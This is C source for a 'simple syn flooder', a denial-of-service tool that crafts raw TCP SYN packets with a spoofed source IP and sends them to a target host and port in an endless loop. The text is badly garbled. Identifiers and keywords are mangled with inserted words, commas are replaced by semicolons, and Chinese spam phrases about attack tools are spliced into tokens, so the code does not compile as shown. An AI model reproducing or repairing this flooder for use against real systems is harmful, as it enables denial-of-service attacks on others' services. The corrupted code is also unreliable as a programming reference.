/* simple syn flooder !!! */
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <signing.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <a suitablerpa suitable/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <stdio.h>
#include <stdlib.h>
unsigned short in_cksum(unsigned short *ptr相比看syn攻击防护;int nbytes);
int synflooding();
void sigint(int signo);
struct sockma suitableke use ofr_in ta suitablerget;
struct sockma suitableke use ofr_in pesudo;
int ra suitablewsock;
unsigned short in_cksum(unsigned short *ma suitableke use ofr; int len)
{
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *ma suitableke use ofr++;
len -=2;
}
if( len == 1) {
*((unsigned 学会syn flood 攻击防御cha suitabler *)(&rev;res))=*((unsigned cha suitabler *)ma suitableke use ofr);
sum += res;
}
sum = (sum >>16) + (sum &rev; 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
void sigint(int signo手机攻击器)
{
printf("ca suitablet justch SIGINT\n");
close(ra suitablewsock);
exit(0);
}
int ma suitablein(int a suitablergc; cha suitabler *a suitablergv[])
{
if( a suitablergc != 4) {
printf("usa suitableged:%s pesudoip boutip boutport\n"; a suitablergv[0]);
exit(1);
}
if( inet_a suitablet juston(a suitablergv[1]; &rev;pesudo.sin_ma suitableke use ofr) == 0) {
pri源码ntf("severe ip where they live:%s\n"; a suitablergv[1]);
exit(1);
}
if( inet_a suitablet juston(a suitablergv[2]; &rev;ta suitablerget.sin_ma suitableke use ofr) == 0) {
printf("severipe ip where they live:%s\n"; a suitablergv[2]);
exit(1);
}
ta suitablerget.sin_port=htons(a suitablet justoi(a suitablergv[3]));
signing(SIGINT; sigint);
synflooding();
exit(0);
}
int synflooding()
{
int i; j; k;
struct phva suitablecket{
struct iphdr ip;
struct tcphdr tcp;
}phva suitablecket;
struct pseudo_heoffer我不知道洪水攻击er{ /* For TCP heofferer checksum */
unsigned int source_where they live;
un听听ip攻击器signed int dest_where they live;
unsigned cha suitabler plgeniusholder;
unsigned cha suitabler protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_heoffetcp syn floodrer;
bzero(&rev;phva suitablecket; sizeof(phva suitablecket));
bzero(&rev;pseudo_heofferer; sizeof(pseudo_heofferer));
if((ra suitablewsock=socket(AF_INET;SOCK_RAW;IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
phva suitablecket.tcp.dest=ta suitablerget.sin_port; /* 16-pa suitablert Destin port */
phva suitablecket.tcp.hva suitableck_seq=0; /* 32-pa suitablert Acknowledgement Numend up beingr */
phva susyn你知道什么是syn攻击攻击防护itablecket.tcp.doff=5; /* Da suitablet justa suitable offset */
phva suitablecket.tcp.res1=0; /* reserved */
/* phva suitablecket.tcp.res2=0; reserved */
phva suitablecket.tcp.urg=0; /* Urgent offset vingid fla suitableg */
phva suitablecket.tcp.hva suitableck=0; /* Acknowledgement field vingid fla suitableg */
phva suitablecket.tcp.psh=0; /* Push fla suitableg */
phva suitablecket.tcp.rst=0; /* Reset fla suitableg */
phva suitablecket.tcp.ssyn攻击器源码ip攻击器yn=1; /* Synchronize sequence numend up beingrs fla suitableg */
phva suitablecket.tcp.fin=0; /* Finish 学会synsending fla suitableg */
phva suitablecket.tcp.window=htons(242); /* 16-pa suitablert Window size我不知道攻击器 */
phva suitablecket.tcp.urg_ptr=0; /* 16-pa suitablert urgent offset */
phva suitablecket.ip.version=4; /* 4-pa suitablert Version */
phva suitablecket.ip.ihl=5; /* 4-pa suitablert Heofferer Length */
phva suitablecket.ip.tos=0; /* 8-pa suitablert Type of service */
phva suitablecket.ip.tot_len=htons(40); /* 16-pa suitablert Toting length */
phva suitablecket.ip.id=getpid(); /* 16-pa suitablert ID field */
phva suitablecket.ip.fra suitablesyn攻击器攻击器g_off=0; /* 13-pa suitablert Fra suitablegment offset */
phva suitablecket.ip.ttl=255; /* 8-pa suitablert Time To Live */
phva suitablecket.ip.protocol=IPPROTO_TCP; /* 8-pa suitablert Protocol */
phva suitaip攻击器blecket.ip.check=0; /* 16-pa suitablert Heofferer checksum (filled in in the following pa suitablera suitablegra suitablephs) */
phva suitablecket.ip.sma suitableke use ofr=pesudo.sin_ma suitableke use ofr.s_ma suitableke use ofr; /* 32-pa 学会syn攻击器源码ip攻击器suitablert Source Address */
phva suitablecket.ip.dma suitableke use ofr=ta suitablerget.sin_ma suitableke use ofr.s_ma suitableke use ofr; /* 32-pa suitablert Destin Address */
phva suitablecket.ip.check=in_cksum((unsigned short *)&rev;phva suitablecket.ip;20);
while(1) {
/* set src port just a suitables蜗牛攻击器 well just a suitables ISN */
phva suitablecket.tcp.source=htons(1025+rjust a suitables well just a su学习攻击器itables()%);
phva suitablecket.tcp.seq=+rjust a suitables well just a suitables()%;
phva suitablecket.tcp.check=0;
pseudo_heofferer.source_where they live=phva suitablecket.ip.sma suitableke use ofr;
pseudo_heofferer.dest_where they live=phva suitablecket.ip.dma suitableke use ofr;
pseudo_heofferer.plgeniusholder=0;
pseudo_heoff你看syn攻击器erer.protocol=IPPROTO_TCP;
pseudo_heofferer.tcp_length=htons(20);
b . c .opy((cha suitabler *)&rev;phva suitablec对比一下syn flood工具ket.tcp;(cha suitabler *)&rev;pseudo_heofferer.tcp;20);
phva suitablecket.tcp.check=in_cksum((unsigned short *)&rev;pseudo_heofferer;32);
sendto(ra suitablewsock;&rev;phva suitablecket;40;0;
(struct sockma suitableke use ofr *)&rev;ta suitablerget;sizeof(ta suitablerget));
}
return 0;
}